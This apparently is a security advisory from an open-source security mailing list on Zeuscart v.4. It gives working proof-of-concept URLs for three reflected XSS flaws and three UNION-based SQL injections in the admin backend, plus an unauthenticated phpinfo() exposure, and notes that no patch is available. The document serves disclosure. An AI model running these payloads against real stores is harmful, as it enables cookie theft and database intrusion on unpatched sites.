OSS-list
Software used for research: Mac OS X 10.10, Firefox 35.0.1
==========================
Vulnerability Description:
==========================
ECommerce-Shopping Cart Zeuscart v. 4 suffers from multiple XSS-, SQLi- and
InformationDisclosure-vulnerabilities.
==================
Technical Details:
==================
====
XSS
===
Reflecting XSS-vulnerabilities can be found in a common
Zeuscart-installation in the following locations and could be exploited for
example by crafting a link and make a registered user click on that link.
The parameter "search", which is used in the index.php is vulnerable to
XSS-attacks.
Exploit-Example:
http://
{TARGET}/index.php?do=search&search=%22%3E%3Cbody%20onload=eval%28alert%28document.cookie%29%29%20%3E%3C!--
By appending arbitrary HTML- and/or JavaScript-code to the parameter
"schltr" which is as well used in index.php, an attacker could exploit this
XSS-vulnerable parameter:
Exploit-Example:
http://
{TARGET}/index.php?do=brands&schltr=All%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E
The third XSS-vulnerability can be found in the "brand"-parameter, which is
again used in index.php.
Exploit-Example:
http://
{TARGET}/index.php?do=viewbrands&brand=Bata%3Cbody%20onload=eval%28alert%28String.fromCharCode%2888,83,83%29%29%29%20%3E
====
SQLi
====
The SQL injection-vulnerabilities can be found in the administrative
backend of Zeuscart v. 4 and reside in the following locations in a common
installation.
By appending arbitrary SQL statements to the "id"-parameter, an attacker
could exploit this SQL injection vulnerability:
Exploit-Example:
http://
{TARGET}/admin/?do=disporders&action=detail&id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,database%28%29,34,35,version%28%29,37,38+--+
Another SQL injection vulnerability can be found here and can be exploited
by appending SQL statements to the vulnerable "cid"-parameter:
Exploit-Example:
http://
{TARGET}/admin/?do=editcurrency&cid=1+and+1=2+union+select+1,database%28%29,3,version%28%29,5+--+
The last SQL injection vulnerability I found can be found in the following
location and can be exploited by appending SQL statements to the vulnerable
"id" parameter:
http://
{TARGET}/admin/?do=subadminmgt&action=edit&id=1+and+1=2+union+select+1,version%28%29,3,database%28%29,5+--+
==============
Information Disclosure
==============
The administrative backend of Zeuscart v. 4 allows the admin to use a
functionality, which displays the PHP-installation settings via phpinfo():
http://{TARGET}/admin/?do=getphpinfo
Unfortunately, the PHP-script does not check, if an authorized admin
executes this functionality: It is possible even for unregistered users to
request the above link to see the informations, phpinfo() displays. That
could expose sensitive informations to an attacker which could lead to
further exploitation.
=========
Solution:
=========
Vendor has been notified. After releasing a patch, which seems not to
correct the issues, the vendor decided not to respond anymore to figure out
a solution together. Currently, there is no patch available to secure
Zeuscart-installations.
====================
